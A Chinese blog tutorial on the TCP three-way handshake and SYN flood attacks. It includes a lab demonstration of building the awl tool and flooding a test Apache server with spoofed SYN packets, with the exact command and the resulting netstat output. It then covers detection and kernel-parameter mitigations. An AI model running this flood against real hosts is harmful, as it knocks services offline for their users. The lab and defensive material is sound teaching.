TCP三次握手之-awl工具-SYN洪水攻击

一、TCP三次握手

1.1 TCP报文段的头部格式

1.1.1 报文格式

1.1.2 部分报文内容

ACK:TCP协议规定，只有ack=1时，有效，也规定连接建立后，所有发送的报文ack必须为1。
SYN :在连接建立时用来同步序列号，当SYN=1,而ACK=0时，表明这是一个连接请求报文，对方若同意建立连接，则应在响应报文中使SYS=1,和ACK=1，因此，SYN置1，就表示这是一个连接请求或连接接受报文。
FIN 终结，用来释放一个连接，当FIN=1，表明此报文段的发送方数据已经发送完毕，并要求释放连接

1.2 三次握手流程

建立tcp 连接是的tcp三次握手，断开tcp 连接的四次挥手

三次握手过程：

Client:我可以给你发数据吗
Server：可以
Client:好的，知道了

二、syn-洪水攻击

2.1 概念

　　网站被攻击多次，其中最猛烈的就是TCP洪水攻击，即SYN Flood。

　　SYN Flood是当前最流行的DoS（拒绝服务攻击）与DDoS（分布式拒绝服务攻击）的方式之一，这是一种利用TCP协议缺陷，发送大量伪造的TCP连接请求，常用假冒的IP或IP号段发来海量的请求连接的第一个握手包（SYN包），被攻击服务器回应第二个握手包（SYN+ACK包），因为对方是假冒IP，对方永远收不到包且不会回应第三个握手包。导致被攻击服务器保持大量SYN_RECV状态的“半连接”，并且会重试默认5次回应第二个握手包，塞满TCP等待连接队列，资源耗尽（CPU满负荷或内存不足），让正常的业务请求连接不进来。

2.2 原理

SYN 洪水攻击的过程：

　　在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端，如果发起的客户是一个不存在的端，那么服务端需要耗费一定的数量的系统内存来等待这个未决的连接。直到等待关闭超时，一般是等待30~40s，并且可以重传5，才能释放连接。

如果恶意者通过IP 欺骗，发送大量SYN包给受害者系统，导致服务端存在大量未决的连接，并占用大量内存和tcp 连接，从而导致客户端无法访问服务端，这就是SYN洪水攻击的过程。

2.2 模拟攻击

2.2.1 上传安装包

1 [root@localhost ~]# cd /usr/src/
2 [root@localhost src]# ls awl软件进行SYN洪水攻击-开源没有后门-awl-0.2.tar.gz

2.2.2 解压、编译安装

[root@localhost src]# tar -zxvf awl软件进行SYN洪水攻击-开源没有后门-awl-0.2.tar.gz

[root@localhost ~]# cd /usr/src/awl-0.2/
[root@localhost awl-0.2]# ./configure #检查安装环境

[root@localhost awl-0.2]# make -j 1

[root@localhost awl-0.2]# make install

[root@localhost ~]# awk awl
[root@localhost ~]# which awl #查看安装的位置
/usr/local/bin/awl

2.2.3 开始实战

[root@localhost ~]#

开始攻击
- awl 使用参数:
- 发送包的接口，如果省略默认是 eth 0
- -m 指定目标mac，如果-m 没有指定mac，默认目标mac 就是FF.FF.FF.FF.FF.FF
- 全 F 就是向同以往段所有主机发出arp 广播，进行SYN攻击，还容易使整个局域网瘫痪
- -d 被攻击的主机ip
- -p 被攻击的主机端口

配置服务端

[root@localhost ~]# yum -y install httpd
[root@localhost ~]# systemctl start httpd
[root@localhost ~]# getenforce #关闭selinux
Disabled
[root@localhost ~]# systemctl stop firewalld #关闭防火墙
[root@localhost ~]#
[root@localhost ~]# iptables -F
[root@localhost ~]#
当我们安装好后，过滤端口，发现默认只有一个80.
[root@localhost ~]#
[root@localhost ~]# netstat -antup |grep 80
tcp6 0 0 :::80 ::: LISTEN 1412/httpd

客户端发起攻击

[root@localhost ~]# arp -n # 查看arp 缓存，如果没有看到167 的ip ,说明没有产生连接，可以使用167 ssh 到121 ，然后退出，再次查看。

[root@localhost ~]# awl -i ens33 -m 00:0c:29:3a:6a:7b -d 192.168.43.167 -p 80
注意：默数几秒，ctrl +C停止操作，在去过滤167httpd服务

[root@localhost ~]# netstat -antup |grep 80
tcp 0 0 192.168.43.167:80 62.106.87.42:18854 SYN_RECV -
tcp 0 0 192.168.43.167:80 33.252.16.75:40378 SYN_RECV -
tcp 0 0 192.168.43.167:80 40.8.124.43:56068 SYN_RECV -
tcp 0 0 192.168.43.167:80 79.61.217.54:63452 SYN_RECV -
tcp 0 0 192.168.43.167:80 240.6.234.16:35346 SYN_RECV -
……
会发现产生大量未知的ip地址，并且连接状态为 SYN-RECV---- 在收到和发送一个连接请求后等待对方连接请求的确认

2.2.4 小结

tcp 三从握手，提供可靠连接
udp 支持vxlan ，用于OpenStack 私有云、vlan 不够用
如果编译出现以下问题：
- configure: error:no acceptable C compiler found in $PATH
解决：熟悉tcp 三次握手协议
- yum -y install gcc-c++
熟悉tcp 三次握手协议

三、SYN Flood检测和解决

3.1 问题检测

3.1.1 检查系统syslog

我们看到业务曲线大跌时，检查机器和DNS，发现只是对外的web机响应慢、CPU负载高、ssh登陆慢甚至有些机器登陆不上，检查系统syslog：

# tail -f /var/log/messages
Apr 18 11:21:56 web5 kernel: possible SYN flooding on port 80. Sending cookies.

3.1.2 利用netstat 命令验证

3.1.2.1 指令

1 netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'

3.1.2.2 异常情况下的输出

检查连接数增多，并且SYN_RECV 连接特别多：
# netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
TIME_WAIT 16855
CLOSE_WAIT 21
SYN_SENT 99
FIN_WAIT1 229
FIN_WAIT2 113
ESTABLISHED 8358
SYN_RECV 48965
CLOSING 3
LAST_ACK 313

3.1.2.3 正常情况下的输出

根据经验，正常时检查连接数如下：
# netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
TIME_WAIT 42349
CLOSE_WAIT 1
SYN_SENT 4
FIN_WAIT1 298
FIN_WAIT2 33
ESTABLISHED 12775
SYN_RECV 259
CLOSING 6
LAST_ACK 432

以上就是TCP洪水攻击的两大特征。执行netstat -na>指定文件，保留罪证。

3.1.2.4 小结

　　处于SYN_RECV状态的半连接再正常情况下不会有很多。

3.2 解决

3.2.1 应急处理

根据netstat查看到的对方IP特征：
# netstat -na |grep SYN_RECV|more

利用iptables临时封掉最大嫌疑攻击的IP或IP号段，例如对方假冒173.*.*.*号段来攻击，短期禁用173.*.*.*这个大号段（要确认小心不要封掉自己的本地IP了！）
# iptables -A INPUT -s 173.0.0.0/8 -p tcp –dport 80 -j DROP

再分析刚才保留的罪证，分析业务，用iptables解封正常173.*.*.*号段内正常的ip和子网段。这样应急处理很容易误伤，甚至可能因为封错了导致ssh登陆不了服务器，并不是理想方式。

3.2.2 使用F5阻挡攻击

　　应急处理毕竟太被动，因为本机房的F5设备比较空闲，运维利用F5来挡攻击，采用方式：让客户端先和F5三次握手，连接建立之后F5才转发到后端业务服务器，实际上有点向代理。后来被攻击时F5上看到的现象：

1. 连接数比平时多了500万，攻击停止后恢复。
2. 修改F5上我们业务的VS模式后，F5的CPU消耗比平时多7%，攻击停止后恢复。
3. 用F5挡效果明显，后来因攻击无效后，用户很少来攻击了，毕竟攻击也是有成本的。

3.2.3 调整系统参数挡攻击

　　没有F5这种高级且昂贵的设备怎么办？我测试过以下参数组合能明显减小影响，准备以后不用F5抗攻击。

3.2.3.1 tcp_synack_retries (服务端SYN重传次数)

　　第一个参数tcp_synack_retries = 0是关键，表示回应第二个握手包（SYN+ACK包）给客户端IP后，如果收不到第三次握手包（ACK包）后，不进行重试，加快回收“半连接”，不要耗光资源。

　　如果不修改这个参数，模拟攻击，10秒后被攻击的80端口即无法服务，机器难以ssh登录；用命令netstat -na |grep SYN_RECV检测“半连接”hold住180秒；然后修改这个参数为0，再模拟攻击，持续10分钟后被攻击的80端口都可以服务，响应稍慢些而已，只是ssh有时也登录不上；检测“半连接”只hold住3秒即释放掉。

　　修改这个参数为0的副作用：网络状况很差时，如果对方没收到第二个握手包，可能连接服务器失败，但对于一般网站，用户刷新一次页面即可。这些可以在高峰期或网络状况不好时tcpdump抓包验证下。

根据以前的抓包经验，这种情况很少，但为了保险起见，可以只在被tcp洪水攻击时临时启用这个参数。

　　tcp_synack_retries默认为5，表示重发5次，每次等待30~40秒，即“半连接”默认hold住大约180秒。

　　之所以可以把tcp_synack_retries改为0，因为客户端还有tcp_syn_retries参数，默认是5，即使服务器端没有重发SYN+ACK包，客户端也会重发SYN握手包。

3.2.3.1 tcp_max_syn_backlog (处于SYN_RECV的TCP最大连接数)

　　第二个参数net.ipv4.tcp_max_syn_backlog = 200000也重要，具体多少数值受限于内存。内核参数net.ipv4.tcp_max_syn_backlog定义了处于SYN_RECV的TCP最大连接数，当处于SYN_RECV状态的TCP连接数超过tcp_max_syn_backlog后，会丢弃后续的SYN报文。

　　以下配置，第一段参数是最重要的，第二段参数是辅助的，其余参数是其他作用的：
　　# vi /etc/sysctl.conf

　　插入语句：net.ipv4.tcp_max_syn_backlog = 200000

　　使配置生效：sysctl -p

　　注意，以下参数面对外网时，不要打开。因为副作用很明显，具体原因请google，如果已打开请显式改为0，然后执行sysctl -p关闭。因为经过试验，大量TIME_WAIT状态的连接对系统没太大影响。

　　为了处理大量连接，还需改大另一个参数：

　　# vi /etc/security/limits.conf

　　在底下添加一行表示允许每个用户都最大可打开409600个文件句柄（包括连接）：

　　* – nofile 409600

　　此外需要注意，文件句柄不要超过系统限制/usr/include/linux/fs.h，相关链接：http://blog.yufeng.info/archives/1380

1 #define NR_OPEN (1024*1024)     /* Absolute upper limit on fd num */

3.3 TCP内核参数

　　TCP内核参数详细解释：http://www.frozentux.net/ipsysctl-tutorial/chunkyhtml/tcpvariables.html

四、参考文章

https://blog.csdn.net/weixin_42313749/article/details/104686758

https://www.cnblogs.com/zengkefu/p/5563636.html

http://www.360doc.com/showweb/0/0/990691790.aspx

posted @ 2021-08-12 11:57 Mr-xxx 阅读(627) 评论(0) 编辑收藏举报

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